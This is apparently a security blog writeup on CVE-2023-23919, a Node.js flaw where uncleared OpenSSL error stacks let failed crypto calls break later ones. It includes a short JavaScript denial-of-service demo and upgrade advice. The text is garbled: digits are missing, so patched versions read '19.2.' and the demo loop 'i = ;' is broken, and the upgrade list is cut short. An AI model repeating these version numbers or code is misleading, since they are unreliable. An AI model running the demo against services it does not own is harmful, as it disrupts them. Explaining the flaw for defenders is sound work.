Summary  
Node.js, one of the internet’s most widely-used runtimes for building server-side apps, quietly patched a cryptographic vulnerability in early 2023—one that could make your service unexpectedly crash. In this article, we break down what CVE-2023-23919 is, how it works, what versions are affected, how to exploit it for a denial of service (DoS), and—most importantly—how you can stay safe. We'll keep things easy to follow, with actual code, diagram links, and key mitigation advice.

1. What's the Problem? (Quick Read)

When Node.js does cryptographic work under the hood (like signing, decrypting, etc.), it asks OpenSSL, a library written in C, to do the real math. Sometimes OpenSSL runs into errors and keeps a list (the “error stack”) of what went wrong.

The flaw: In versions before 19.2., 18.14.1, 16.19.1, and 14.21.3, Node.js sometimes FORGOT to clear that OpenSSL error stack after a crypto operation failed. If another operation ran on the same thread, even if it worked fine, it could see those old errors. Node.js might then throw fake errors or crash.

This isn’t a way to break crypto—but attackers could force those errors to pile up and interrupt real crypto work, causing a denial of service (DoS).

Check your Node.js version

node -v

If your version is older than those above, update ASAP.  
See official advisory: nodejs.org CVE-2023-23919

Node.js is supposed to clear that stack before starting a new operation.

Vulnerability:  
Some failed crypto ops in Node.js don't clear the stack. If a second operation happens on the same thread, that operation will see errors it didn’t actually cause.

Let's see a buggy pattern simplified like Node.js internals

const crypto = require('crypto');

try {
  // First, try to use a wrong algorithm (this fails, puts err on OpenSSL stack)
  crypto.createSign('nonexistentalgo');
} catch(e) {
  // Node.js SHOULD clear the internal error stack here
  // But in vulnerable versions, it doesn't always
}

try {
  // Now perform a valid operation: should work, but might fail due to leftover error!
  const sign = crypto.createSign('SHA256'); // Fails with a false positive error
} catch(e) {
  console.log("False positive error caused by OpenSSL error stack!");
}

In vulnerable versions, the second operation can fail for NO valid reason—only because of the previous error that wasn't cleared properly.

Exploit Details

Attackers can deliberately trigger OpenSSL errors in one request (e.g., by submitting malformed input or requesting crypto with invalid params). If the app is multi-tenant, or you reuse threads/processes, these bogus errors might poison subsequent, otherwise-valid crypto ops—piling up errors and bringing down the server via repeated failures or unhandled exceptions.

Here’s how you could craft a basic DoS demo in a vulnerable Node.js version

const crypto = require('crypto');

function sendMaliciousRequest() {
  try {
    // Invalid algorithm triggers error in OpenSSL
    crypto.createSign('doesnotexist');
  } catch (e) { /* error stack not cleared */ }
}

// Now, try an honest operation right after
function sendLegitRequest() {
  try {
    const sign = crypto.createSign('SHA256'); // Might fail!
    console.log("Success");
  } catch (e) {
    console.log("Crypto failed due to error stack");
  }
}

// Abuse the flaw
for (let i = ; i < 10; i++) {
  sendMaliciousRequest();
  sendLegitRequest();
}

On a vulnerable system, you'll see "Crypto failed due to error stack" unexpectedly.

Warning: Always test on your own systems; never target anyone else!

Upgrade Node.js

- Node.js 19.x → Upgrade to 19.2.+

Wrap all crypto calls in careful error handling.

- Restart app/process on repeated unexplained crypto errors.
- Isolate tenants/users as much as possible.

6. References

- CVE-2023-23919 official NVD entry
- Node.js January 2023 Security Releases
- GitHub Node.js Security Advisory GHSA-49f6-vm49-7mr9

7. Conclusion

CVE-2023-23919 is a subtle, yet dangerous, bug that underscores how even a small mistake—like forgetting to wipe an error list—can have big consequences. Don’t get caught out by “ghost errors” or surprise DoS attacks: *update your Node.js runtime now!*

If you liked this writeup, please share it within your dev team and help others stay safe.

Timeline

Published on: 02/23/2023 20:15:00 UTC
Last modified on: 03/16/2023 16:15:00 UTC